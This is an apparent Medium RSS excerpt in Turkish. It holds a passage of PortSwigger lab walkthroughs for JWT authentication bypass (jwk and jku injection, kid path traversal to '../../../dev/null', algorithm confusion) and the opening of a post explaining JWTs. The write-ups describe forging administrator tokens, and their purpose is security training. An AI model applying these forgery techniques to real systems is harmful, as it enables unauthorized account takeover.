çalışıyor, fakat bu anahtarın güvenilir bir kaynaktan gelip gelmediğini kontrol etmiyor.<strong> </strong>Yani, JWT&#39;nin içine kendi oluşturduğun sahte bir anahtarı koyarsan, sunucu bunu gerçekmiş gibi kabul edip, JWT&#39;nin imzasını bu sahte anahtarla doğruluyor. Bu da, kendine sahte bir <strong>admin token’ı</strong> üretip sunucuya geçerliymiş gibi yutturabileceğin anlamına geliyor.</p><p>“New RSA Key” neden oluşturduk?</p><p>BurpSuite’in JWT Editor sekmesinde <strong>“New RSA Key”</strong> seçeneği, kendimize ait yeni bir özel/public RSA anahtar çifti oluşturmak için kullanılır.</p><p>Bu anahtar çifti şu amaçlarla kullanılır:</p><p>1. <strong>Private Key (özel anahtar): </strong>Yeni sahte JWT token’ını imzalamak için kullanılır.</p><p>2.<strong> Public Key (açık anahtar):</strong> JWT’nin header kısmına jwk olarak gömülür ve sunucu bu anahtarla imzayı doğrular (güvenilir olup olmadığını kontrol etmeden).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*V9_GT-DUKr0W2t-f4GFOhg.jpeg" /></figure><p>JSON Web Token kısmından ise wiener kullanıcısını administrator olarak değiştiriyorum ve kök dizini /admin olarak ayarlıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*CtFEap2BW13uBu83k39Fdw.jpeg" /></figure><p>Attack kısmında ‘Embedding JWT’ seçeneğini işaretleyerek ilerliyoruz. Bu adımı seçmemizin sebebi, oluşturduğumuz JWT’nin doğrulama anahtarını (JWK) token içerisine gömmemizi sağlıyor olmasıdır. Bu sayede sunucu, bizim sağladığımız anahtarı kullanarak token’ı doğrulamaya çalışıyor. Ardından, ekranda karşıma çıkan alana biraz önce oluşturduğum token’i ekleyip ‘OK’ tuşuna basıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*7DVf7ooPN_wJlAj9f0m0iQ.jpeg" /></figure><p>Yaptığım değişikliklerin ardından isteği gönderiyorum ve başarılı bir şekilde 200 yanıt kodunu alıyorum. Response kısmında ise Carlos kullanıcısını silmemiz için gerekli olan dizin bilgisi yer alıyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NbzAqerMT5gaZIQM8roZaw.jpeg" /></figure><p>Dizini yazıp isteği gönderdiğimde 302 durum kodunu alarak Carlos kullanıcısını başarılı bir şekilde silmiş oldum. Böylece labı başarıyla tamamladım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*ojFiLMmS95BR9aacNivnvw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*Az4lldXixKdXnrmB2J7QEQ.jpeg" /></figure><p><strong>Lab: JWT authentication bypass via jku header injection</strong></p><p>Bu laboratuvar, oturumları yönetmek için JWT (JSON Web Token) tabanlı bir mekanizma kullanmaktadır. Sunucu, JWT başlığında bulunan jku parametresini desteklemektedir. Ancak, bu URL&#39;nin güvenilir bir alan adına ait olup olmadığını kontrol etmeden doğrulama anahtarını almaktadır.</p><p>Labı çözmek için, sana <strong>/admin</strong> dizinine erişim sağlayacak şekilde sahte bir JWT oluşturmalı ve ardından Carlos kullanıcısını silmelisin.</p><p>Kendi hesabınla giriş yapmak için aşağıdaki kimlik bilgilerini kullanabilirsin:<br> <strong>wiener:peter</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*ruGxd8jM7p8YEQ33jTUXtQ.jpeg" /></figure><p>BurpSuite’i aktif hale getirerek, verilen giriş bilgileri <strong>wiener:peter</strong> ile sisteme giriş yapıyorum ve bu isteği yakalayıp analiz edebilmek için <strong>Repeater</strong> sekmesine gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*Ppgml99sNOi05pds0rMwCA.jpeg" /></figure><p>JWT editör kısmında <strong>“New RSA Key”</strong> seçeneğini kullanarak yeni bir RSA anahtarı oluşturuyorum.</p><p>Bu işlemi yapmamızın nedeni: JWT imzasını geçerli gösterebilmek için kendi özel anahtarımızla imzalayacağımız sahte bir token üretmek.<br>JWT’lerde imza doğrulaması, sunucunun sahip olduğu public key ile yapılır. Bu labda ise sunucu, JWT header’ındaki jku parametresinde verilen URL’den public key’i alıyor ama kaynağın güvenilir olup olmadığını kontrol etmiyor.</p><p>Bu nedenle:</p><ul><li>Biz kendi sahte JWT’mizi üretip kendi oluşturduğumuz private key ile imzalıyoruz,</li><li>Ardından jku parametresiyle sunucuya public key’imizin bulunduğu bir URL gösteriyoruz,</li><li>Sunucu da bu URL’den bizim verdiğimiz anahtarı alıp imzayı doğruluyor ve token’ı geçerli sayıyor.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*9FmdlrYVwM_diM-NnhfdiQ.jpeg" /></figure><p>JWT’nin doğrulama sürecinde sunucu, kendisine sunulan public key’i belirli bir formatta bekler. Bu format, JWK (JSON Web Key) standardına uygun olmalıdır. İşte bu noktada keys parametresi devreye girer. keys parametresi, sunucuya gönderilen JSON içinde public key’in tanımlandığı alanı temsil eder. Eğer bu parametre uygun şekilde yapılandırılmazsa, sunucu anahtarı tanımlayamaz ve imzayı geçersiz sayar. Bu nedenle, daha önce oluşturduğum JWK formatındaki public key’i keys dizisinin içerisine yapıştırıyorum. Böylece sunucu, token’ı doğrulamak için ihtiyacı olan public key’e erişebiliyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DJPv4-8oRuOGibMmfA-Ydg.jpeg" /></figure><p>JWT paketine geldiğimde ilk olarak kid parametresini, oluşturduğum public key’in kid değeriyle eşleşecek şekilde düzenliyorum. Ardından jku parametresini ekleyerek, sunucunun dışarıdan public key almasını sağlayacak URL’yi giriyorum.</p><p><em>Bunu yapmamızın sebebi, sunucunun bu URL’ye gidip doğrulama için gerekli olan public key’i almasını sağlamaktır.</em></p><p>JWT’nin payload kısmında ise kullanıcı adını &quot;wiener&quot; yerine &quot;administrator&quot; olarak değiştiriyorum. Tüm bu düzenlemelerden sonra sign butonuna basarak token’ı yeniden imzalıyorum. Oluşturduğum JWK dosyasını barındıran dosyayı web sitesinden “Store” diyerek yayına alıyor ve son olarak paketi “Send” diyerek sunucuya gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3LjZNEJcKuYUqA_psZH3qw.jpeg" /></figure><p>Tüm adımları doğru bir şekilde tamamladıktan sonra sunucuya gönderdiğim istek, başarılı bir şekilde <strong>200 OK</strong> response kodu ile dönmektedir. Gelen yanıtta, <strong>Carlos</strong> kullanıcısını silmem için gerekli olan dizin bilgisi de yer almaktadır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*dvkGXGGwU1Tcj2vwbV9WUw.jpeg" /></figure><p>Bu dizine isteği gönderdiğimde <strong>302</strong> yönlendirme kodu ile karşılaşıyorum, bu da işlemin başarılı olduğunu ve Carlos’un silindiğini gösteriyor. Böylece lab başarılı bir şekilde tamamlamış olduk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*BulIcQhJYl30jq-eoDKOIw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*sTO4k_FU3_CoHT28Ppi7iw.jpeg" /></figure><p><strong>Lab: JWT authentication bypass via kid header path traversal</strong></p><p>Bu laboratuvar, oturumları yönetmek için JWT (JSON Web Token) tabanlı bir mekanizma kullanmaktadır. Sunucu, imzayı doğrulamak için JWT başlığındaki <strong>kid</strong> (key ID) parametresini kullanarak ilgili anahtarı kendi dosya sisteminden alır.</p><p>Laboratuvarı çözmek için, size /admin paneline erişim sağlayan sahte bir JWT oluşturun ve ardından <strong>carlos</strong> adlı kullanıcıyı silin.</p><p>Kendi hesabınıza giriş yapmak için aşağıdaki kimlik bilgilerini kullanabilirsiniz:<br> <strong>wiener:peter</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*JCcE3z87ddUZvuAKZyOkpA.jpeg" /></figure><p>BurpSuite’i aktif hale getirerek laboratuvar ortamını başlatıyorum. Ardından, bana verilen <strong>wiener:peter</strong> kullanıcı bilgileriyle oturum açıyorum. Bu işlem sırasında sunucudan dönen ve <strong>JWT token</strong> içeren HTTP isteğini yakalayıp, analiz etmek üzere <strong>Repeater</strong> sekmesine gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*on7C7HNExiKQjQsNbhDdVQ.jpeg" /></figure><p>JWT Editör’e gelerek yeni bir simetrik key oluşturuyorum. Bu işlemi yapmamın sebebi, labda belirtildiği gibi sunucunun kid parametresine göre dosya sisteminden bir anahtar çağırarak imza doğrulaması yapmasıdır. Bu davranışı kullanarak kendi oluşturduğumuz anahtarla token&#39;ı yeniden imzalayıp geçerli hale getirebiliyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*QHkFMC8I-c7Boe6Gt5QfBw.jpeg" /></figure><p>JWT’de &quot;k&quot; parametresi, <strong>&quot;kty&quot;: &quot;oct&quot;</strong> (yani simetrik anahtar tipi) olduğunda, <strong>base64url formatında bir <em>secret key</em>’dir.</strong> Bu anahtar, JWT&#39;nin imzalanmasında kullanılır.</p><p>O zaman neden <strong>&quot;k&quot;: &quot;AA==&quot; </strong>olarak değiştirdik?</p><p>&quot;k&quot;: &quot;AA==&quot; değeri, <strong>base64 kodlu sıfır (</strong><strong>0x00) byte anlamına gelir.</strong></p><p>Neden böyle bir şey yapılır?</p><p>Çünkü bu tür lablarda:</p><p>1. Sunucu, kid parametresine göre dosya sisteminden örneğin /var/www/secret.key gibi bir dosya okur.</p><p>2. Biz kid parametresine örneğin ../../../secret.key gibi bir değer veririz.</p><p>3. Sunucu bu dosyayı okur ve JWT doğrulamasında o dosyanın içeriğini kullanır.</p><p>4. Eğer biz bu dosyanın içeriğini <strong>tahmin edebiliyorsak</strong>, bu içerikle token’ı imzalayabiliriz.</p><p>Eğer dosyada sadece bir adet null byte (0x00) varsa, onun base64 hali &quot;AA==&quot; olur ve biz JWT’yi bu değeri kullanarak imzalarsak sunucu bunu geçerli kabul eder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*dK_zX4jlKk1br33n__HOVw.jpeg" /></figure><p>Repeater’a giderek JSON Web Token’ı açıyor ve üzerinde bazı değişiklikler yapıyorum. Burada kid parametresine “../../../dev/null” dizin yolunu veriyorum.<br> Bunun sebebi, sunucunun kid parametresine göre dosya sisteminden bir anahtar dosyası okumasıdır. Biz de bu zafiyeti kullanarak sunucunun gerçek anahtarı okuyamamasını sağlamak için /dev/null (boş bir cihaz dosyası) yolunu veriyoruz. Böylece sunucu, aslında içeriği olmayan bir dosyadan key almaya çalışıyor ve imzayı doğrulama süreci başarısızlığa uğramıyor, çünkü elimizdeki token zaten geçerli kabul ediliyor.</p><p>Son olarak kullanıcı adını administrator olarak değiştirip Sign diyerek token’ı imzalıyor ve kaydediyorum. Paketi gönderdiğimde başarılı bir şekilde 200 cevap kodu dönmektedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*t8v2rDbzBQPIiZkLrDc9sA.jpeg" /></figure><p>Response cevabında, Carlos kullanıcısını silmem için gerekli dizin bilgisi yer almaktadır. Bu dizini kullanarak paketi yeniden düzenleyip gönderdiğimde, 200 durum kodu ile başarılı bir yanıt aldım ve Carlos kullanıcısı sistemden silinmiş oldu. Böylece bu lab senaryosunu başarıyla tamamlamış oldum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*CbthfFmSF9sCHTHoVPPghw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*7iaC29MAqJQIdP_mfXJm9g.jpeg" /></figure><p><strong>Lab: JWT authentication bypass via algorithm confusion</strong></p><p>Bu lab, oturumları yönetmek için JWT tabanlı bir mekanizma kullanmaktadır. Token’ları imzalamak ve doğrulamak için güçlü bir RSA anahtar çifti kullanır. Ancak, uygulama hataları nedeniyle bu mekanizma “algorithm confusion” saldırılarına karşı savunmasızdır.</p><p>Labı çözmek için önce sunucunun herkese açık uç noktası (endpoint) üzerinden sunucuya ait public key’i alın. Bu anahtarı, size /admin paneline erişim sağlayacak şekilde değiştirdiğiniz oturum token’ını imzalamak için kullanın. Ardından <strong>carlos</strong> kullanıcısını silin.</p><p>Kendi hesabınıza şu bilgilerle giriş yapabilirsiniz: <strong>wiener:peter</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*rukkOYLAOTyDEwJZu_lttg.jpeg" /></figure><p>Her zamanki gibi BurpSuite’i aktif hale getirip labı başlatıyorum. Bana verilen <strong>wiener:peter</strong> bilgileri ile sisteme giriş yaptıktan sonra, oturum sırasında yakaladığım paketi BurpSuite üzerinden <strong>Repeater</strong> sekmesine gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*-mdzJPaADeBrXVeWjZmRrg.jpeg" /></figure><p>Sunucular, JWT’leri doğrulamak için kullandıkları <strong>genel anahtarları (public key)</strong> çoğu zaman herkesin erişebileceği standart bir uç nokta üzerinden paylaşırlar. Bu uç noktalar genellikle şu şekilde olur:</p><ul><li>/jwks.json</li><li>/.well-known/jwks.json</li></ul><p>Bu dosyaların içinde, <strong>JSON Web Key (JWK)</strong> formatında tanımlanmış anahtarlar bulunur. JWK’lar, bir anahtarın türünü, algoritmasını, kullanım amacını ve değerlerini JSON formatında ifade eder.</p><p>Birden fazla anahtar olduğunda, bunlar <strong>keys</strong> adında bir dizi içinde tutulur. Bu yapıya <strong>JWK Set</strong> denir.</p><ul><li>Her bir JWK nesnesi, <strong>kid (key ID)</strong> gibi anahtarın tanımlayıcı bilgilerini içerir.</li><li>Sunucu, JWT’nin header kısmındaki kid değerine bakarak doğru anahtarı bu listeden seçer ve imzayı doğrular.</li></ul><p>Yani özetle: <strong>JWK Set</strong>, sunucunun hangi genel anahtarları kullandığını belirten, JSON formatında yayınlanan bir anahtar listesi dosyasıdır.</p><p>Bu nedenle, yukarıda bahsettiğim dizinleri deneyerek <strong>jwk.json</strong> uç noktasına ulaşıyor ve buradan anahtar formatını elde edip kopyalıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F1Iu1XBDXme9PFbRfHTtYg.jpeg" /></figure><p>Elde ettiğim tokeni JWT Editör’de açarak, “New RSA Key” seçeneğine tıklayıp kopyaladığım anahtarı buraya yapıştırıyorum. JWT Editör, bu anahtarı JWT formatı olarak algılayıp otomatik olarak gerekli düzenlemeleri yapıyor. Bu işlemi yapmamızın sebebi, sunucunun kullandığı anahtarla imzalama işlemini doğru şekilde gerçekleştirebilmek ve böylece JWT üzerinde istediğimiz değişiklikleri yapabilmektir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*nGyu5eS-1CT9gR4xjkmhuQ.jpeg" /></figure><p>Daha sonra anahtarı PEM formatında yapıştırıyorum çünkü PEM, RSA anahtarlarının standart ve yaygın olarak kullanılan bir biçimidir. Sunucu ve JWT Editör gibi araçlar genellikle anahtarları bu formatta kabul eder; bu sayede imzalama ve doğrulama işlemleri doğru ve uyumlu şekilde gerçekleşir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*gieaVjNyXwj8RDV5D4maZg.jpeg" /></figure><p>Elde ettiğim PEM formatındaki anahtarı base64 ile encode ediyorum çünkü base64, ikili verilerin metin tabanlı formatlara dönüştürülmesini sağlar. Bu sayede anahtar, JWT tokenlarında veya web isteklerinde güvenli ve uyumlu şekilde iletilebilir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*zjAkD87Z9zZyrdTuoUT-Zg.jpeg" /></figure><p>JWT editörde yeni bir simetrik anahtar oluşturup, “k” değişkenine base64 ile encode ettiğim kodu yapıştırdım çünkü simetrik anahtarlar genellikle ikili (binary) veriler içerir ve bu verileri metin tabanlı ortamlarda kullanabilmek için base64 formatına dönüştürmek gerekir. Böylece anahtar, JWT’nin içinde düzgün ve uyumlu şekilde saklanabilir ve işlenebilir hale gelir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*Rwxlvv9quqT-NNeOZQ0hdg.jpeg" /></figure><p>Repeater’da alg’ı RS256’dan HS256’ya değiştirmemizin sebebi, RSA tabanlı imzalamanın yerine simetrik anahtar tabanlı HMAC kullanarak algoritma karışıklığı (algorithm confusion) saldırısını gerçekleştirmektir. Böylece sunucunun imza doğrulamasını atlatabiliyoruz. Kullanıcı adını da administrator yapıp Sign diyerek işlemi tamamlıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*xJih1KbAuU9TF-WZ1VAmrA.jpeg" /></figure><p>İsteği gönderdikten sonra başarılı bir yanıt alıyorum ve yanıt içinde Carlos’u silmem için gerekli dizin bilgisi yer alıyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*_z1JPvFu6wECwFpqWRcfjQ.jpeg" /></figure><p>Response olarak verilen dizini kullanarak isteği tekrar gönderdiğimde, 302 yönlendirme kodu ile Carlos kullanıcısını başarıyla silmiş oldum. Böylece labı başarılı bir şekilde tamamlamış oldum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*JIFKbAqJ-BC7Pc3WwyFKnA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*Jq7w-nq_B_F1AIVujV4gww.jpeg" /></figure><p><strong>Lab: JWT authentication bypass via algorithm confusion with no exposed key</strong></p><p>Bu laboratuvar, oturumları yönetmek için JWT (JSON Web Token) tabanlı bir mekanizma kullanmaktadır. Bu mekanizma, token’ları imzalamak ve doğrulamak için güçlü bir RSA anahtar çifti kullanır. Ancak, uygulamadaki bazı hatalar nedeniyle bu mekanizma algoritma karışıklığı (algorithm confusion) saldırılarına karşı savunmasızdır.</p><p>Laboratuvarı çözmek için:</p><p>1. Öncelikle sunucunun genel anahtarını (public key) edinin.</p><p>2. Bu anahtarı kullanarak, size <strong>/admin</strong> paneline erişim sağlayan değiştirilmiş bir oturum token’ı imzalayın.</p><p>3. Ardından <strong>carlos</strong> adlı kullanıcıyı silin.</p><p>Kendi hesabınıza aşağıdaki bilgilerle giriş yapabilirsiniz:<br> <strong>wiener:peter</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*G7CyJmjunf2pDwxIaQIWwA.jpeg" /></figure><p>BurpSuite’i aktif hale getirip labı başlatıyorum. Ardından bana verilen <strong>wiener:peter</strong> kullanıcı bilgileriyle giriş yapıyor ve oturum isteğini yakalayarak analiz etmek için <strong>Repeater</strong>’a gönderiyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*bjPyMa_NxKM9ExVpNzY27A.jpeg" /></figure><p>Buradaki oturum bilgisini, yani <strong>JWT (JSON Web Token)</strong> değerini kopyalıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*tLSH7P6Hc4aa5ehV5nIeAg.jpeg" /></figure><p>Oturumu kapatıyorum, ardından tekrar <strong>wiener:peter</strong> kullanıcı bilgileriyle giriş yapıyorum. Bu isteği BurpSuite ile yakalayarak içindeki <strong>session (JWT) bilgisini</strong> tekrar kopyalıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*kpnnWbhMFR5Ey0NzbP9tdw.jpeg" /></figure><p><strong>Neden JWT Karşılaştırması Yapıyoruz?</strong></p><p>Bir uygulamada aynı kullanıcıyla oturumu kapatıp tekrar açtığınızda, her iki oturum için farklı JWT değerleri oluşur. Biz bu iki JWT’yi karşılaştırarak şu bilgileri öğreniriz:</p><p>· <strong>Dinamik Alanlar:</strong> Örneğin iat (issued at) ve exp (expiration) gibi zamanla ilgili alanlar her oturumda değişir.</p><p>· <strong>Sabit Alanlar:</strong> Kullanıcı adı (sub) veya rol (role) gibi değerler genellikle sabit kalır.</p><p>· <strong>Algoritma Bilgisi:</strong> Header bölümünde kullanılan imzalama algoritması (alg) genellikle burada tespit edilir.</p><p>· <strong>İmza Yapısı:</strong> Signature kısmı (3. bölüm) nasıl değişiyor, bunu görmek saldırı planında önemlidir.</p><p><strong>Neden Yapılır?</strong></p><p>İlk olarak iki farklı JWT alıyoruz:</p><p>· <strong>İlk JWT:</strong> İlk oturum açıldığında alınan token</p><p>· <strong>İkinci JWT:</strong> Oturumu kapatıp tekrar giriş yaptıktan sonra alınan token</p><p>Bu iki token’ı karşılaştırmak için aşağıdaki gibi bir komut kullanılabilir:</p><p>docker run — rm -it [ilk_jwt_değeri] [ikinci_jwt_değeri]</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*aoOPknrpsQ1IrsawBRn40g.jpeg" /></figure><p>Çıktıdaki bana verilen dört farklı kısım:</p><p>1. <strong>Found n with multiplier X</strong> → Her biri farklı bir test adımını veya kullanılan anahtar çarpanını gösteriyor. Yani her testte farklı bir değerle JWT imzası denenmiş.</p><p>2. <strong>Base64 encoded x509 key:</strong></p><p>Bu, sunucudan veya test sırasında elde edilen public RSA anahtarının Base64 ile kodlanmış hâlidir.</p><p>x509 formatı, standart bir sertifika formatıdır ve genellikle public key taşır.</p><p>3. <strong>Base64 encoded pkcs1 key:</strong></p><p>Bu, test sırasında elde edilen veya oluşturulan private RSA anahtarının Base64 ile kodlanmış hâlidir.</p><p>PKCS#1 formatı, RSA anahtarları için kullanılan bir standarttır.</p><p>4. <strong>Tampered JWT:</strong></p><p>Bu, üzerinde değişiklik yapılmış (örneğin alg değiştirilmiş veya payload düzenlenmiş) JWT (JSON Web Token)’dir.</p><p>Bu JWT, test edilen zafiyeti istismar etmek için oluşturulmuş ve imzalanmış hâlidir.</p><p>Kısaca, her test adımı için: public key (x509) + private key (pkcs1) + modifiye edilmiş JWT eşleşmesi veriliyor. Bu sayede saldırı veya test sırasında hangi token’ın hangi anahtar ile işlendiği görülüyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*KOjsgQu-WAQ3dXgdXM224Q.jpeg" /></figure><p>İsteğimde cookie olarak <strong>Tampered JWT</strong> değerlerini deniyorum. Amacım hangi tokenin doğru çalıştığını görmek. Denemelerim sonucunda, <strong>Found n with multiplier 4</strong> ile verilen JWT tokeni 200 yanıt kodu döndürüyor. Bu da demek oluyor ki, bu token başarılı bir şekilde çalışıyor ve oturum doğrulamasında geçerli.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*oDzYBkVXkkyr--Q_S56mtw.jpeg" /></figure><p><strong>/admin</strong> dizinine istek yaptığımda sunucu bana <strong>401 Unauthorized</strong> hata kodu döndürüyor. Bunun üzerine yeni bir simetrik anahtar oluşturuyorum. Anahtarı <strong>generate</strong> ettikten sonra k değerini <strong>Base64 encoded x509 key</strong> ile değiştiriyorum. Bunu yapmamın sebebi, sunucunun doğruladığı RSA tabanlı anahtar ile uyumlu bir simetrik anahtar elde etmek ve böylece JWT imzasını geçerli hâle getirmek. İşlemi <strong>OK</strong> diyerek tamamlıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*R4YMThE4f46I36FlLXSoug.jpeg" /></figure><p><strong>JSON Web Token</strong> kısmına gelerek kullanıcı adını <strong>wiener</strong>’den <strong>administrator</strong> olarak değiştiriyorum. Ardından <strong>Sign</strong> kısmına giderek oluşturduğum imzayı seçiyor ve işlemi tamamlıyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*jLUW2f9RHEBucN8OY4adCA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*8WT9UuEggKchuzsjwocWvg.jpeg" /></figure><p>İsteği gönderdiğimde başarılı bir şekilde <strong>200 Response</strong> kodunu alıyorum. Labda benden istenen, <strong>Carlos</strong> kullanıcısını silmekti ve bunun için bana <strong>Carlos’u silmek üzere gerekli dizin</strong> verilmiştir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*kos037kJAkx3ipuZ1bHnKw.jpeg" /></figure><p>Carlos’u silmem için verilen dizini istek olarak gönderiyorum ve <strong>302 Response</strong> kodu alıyorum. Böylece labı başarılı bir şekilde tamamlamış oluyorum.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*YH43SfeTO8IuE3DLg2497A.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*ErhwLVEf6h9ykh4gATbCQg.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c4404215f32f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[JSON Web Token (JWT) Nedir? PORTSWİGGER Temel Seviye Lab Çözümleri]]></title>
            <link>https://medium.com/@eneskurtlan/json-web-token-jwt-nedir-portswi%CC%87gger-temel-seviye-lab-%C3%A7%C3%B6z%C3%BCmleri-84c85b7aa29e?source=rss-4ed662def310------2</link>
            <guid isPermaLink="false">https://medium.com/p/84c85b7aa29e</guid>
            <category><![CDATA[pentest]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[jwt]]></category>
            <category><![CDATA[portswigger]]></category>
            <dc:creator><![CDATA[ENES KURTULAN]]></dc:creator>
            <pubDate>Tue, 12 Aug 2025 07:59:16 GMT</pubDate>
            <atom:updated>2025-08-12T13:43:36.485Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>JWT Nedir ve Nasıl Çalışır?</strong></h3><p>JWT, sistemler arasında kriptografik olarak imzalanmış JSON verileri göndermek için kullanılan standart bir formattır. Geleneksel oturum belirteçlerinin aksine, bir sunucunun ihtiyaç duyduğu tüm veriler istemci tarafında JWT’nin içinde saklanır. Bu özellik, JWT’leri, kullanıcıların birden fazla arka uç sunucusuyla sorunsuz bir şekilde etkileşim kurması gereken, oldukça dağıtık web siteleri için popüler bir seçenek haline getirir. Bir JWT temel olarak üç ana bölümden oluşur:</p><p><strong>Başlık (Header):</strong> Token’ın türünü (genellikle JWT) ve kullanılan şifreleme algoritmasını (örneğin, HS256 veya RS256) belirtir.</p><p><strong>Yük (Payload):</strong> Token’ın taşıdığı iddiaları (claims) içerir. Bu iddialar, kullanıcı kimliği, rolleri, izinleri ve diğer ilgili bilgileri barındırabilir. Örneğin, bir kullanıcının userId veya isAdmin gibi bilgileri burada yer alabilir.</p><p><strong>İmza (Signature):</strong> Başlık ve Yük bölümlerinin bütünlüğünü doğrulamak için kullanılır. Token’ı yayınlayan sunucu, genellikle başlığı ve yükü karmalayarak imzayı oluşturur. Bu işlem, gizli bir imzalama anahtarı gerektirir ve sunucuların token içindeki hiçbir verinin, yayınlandığı tarihten bu yana değiştirilmediğini doğrulamasını sağlar. İmza, doğrudan token’ın geri kalanından türetildiği için, başlığın veya yükün tek bir baytını değiştirmek, uyumsuz bir imzaya neden olur. Sunucunun gizli imzalama anahtarını bilmeden, belirli bir başlık veya yük için doğru imzayı üretmek mümkün olmamalıdır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9vETl3KQxt82TbheMQ8ewQ.png" /></figure><h3>JWT’lerin Avantajları</h3><p><strong>Durumsuzluk (Statelessness):</strong> JWT’ler, sunucu tarafında durum saklamayı gerektirmez. Bu, sunucuların her istekte oturum bilgilerini veritabanından sorgulamasına gerek kalmadan, doğrudan token’dan gerekli bilgilere erişebilmesi anlamına gelir. Bu durum, özellikle yüksek trafikli ve dağıtık sistemlerde ölçeklenebilirliği önemli ölçüde artırır.</p><p><strong>Taşınabilirlik (Portability):</strong> JWT’ler, farklı sistemler ve hizmetler arasında kolayca paylaşılabilir. Bir kullanıcı bir hizmetten aldığı JWT’yi başka bir hizmete sunarak kimliğini doğrulayabilir veya yetkilendirme alabilir.</p><p><strong>Kendi Kendine Yeterlilik (Self-Contained):</strong> JWT’ler, doğrulama için gereken tüm bilgileri içerir. Bu, her isteğin sunucuya ek bir veritabanı sorgusu yükü getirmeden doğrulanabileceği anlamına gelir.</p><p><strong>Güvenlik:</strong> JWT’ler, dijital olarak imzalanabilir ve isteğe bağlı olarak şifrelenebilir. İmza mekanizması, token’ın yetkisiz kişiler tarafından değiştirilmesini engellerken, şifreleme hassas verilerin gizliliğini sağlar.</p><h3>JWT’lerin Dezavantajları</h3><p><strong>Boyut:</strong> JWT’ler, özellikle çok sayıda iddia (claim) içerdiklerinde, diğer token formatlarına göre daha büyük olabilir. Bu durum, her istekte taşınan veri miktarını artırarak ağ trafiğini etkileyebilir.</p><p><strong>İptal Etme Zorluğu (Revocation Difficulty):</strong> JWT’ler, doğası gereği, belirli bir süre için geçerlidir ve bu süre dolmadan önce iptal etmek zor olabilir. Bir token bir kez yayınlandığında, süresi dolana kadar geçerli kalır. Bu, bir kullanıcının yetkisi iptal edildiğinde veya bir token çalındığında sorun teşkil edebilir. Bu tür durumlar için ek mekanizmalar (örneğin, kara listeler veya kısa ömürlü token’lar) gerekebilir.</p><p><strong>Hassas Veri:</strong> JWT’ler, imzalanmış olsalar bile, içerikleri kolayca decode edilebilir. Bu nedenle, hassas kişisel bilgiler veya gizli veriler doğrudan JWT yükünde saklanmamalıdır. Yalnızca yetkilendirme ve kimlik doğrulama için gerekli olan minimum düzeyde bilgi içermelidir.</p><h3>JWT Saldırıları ve Zafiyetler</h3><p>JWT’ler en yaygın olarak kimlik doğrulama, oturum yönetimi ve erişim kontrol mekanizmalarında kullanıldığından, bu güvenlik açıkları potansiyel olarak tüm web sitesini ve kullanıcılarını tehlikeye atabilir. JWT saldırıları, bir kullanıcının kötü amaçlı bir hedefe ulaşmak için sunucuya değiştirilmiş JWT’ler göndermesini içerir. Bu saldırıların amacı genellikle, kimliği doğrulanmış başka bir 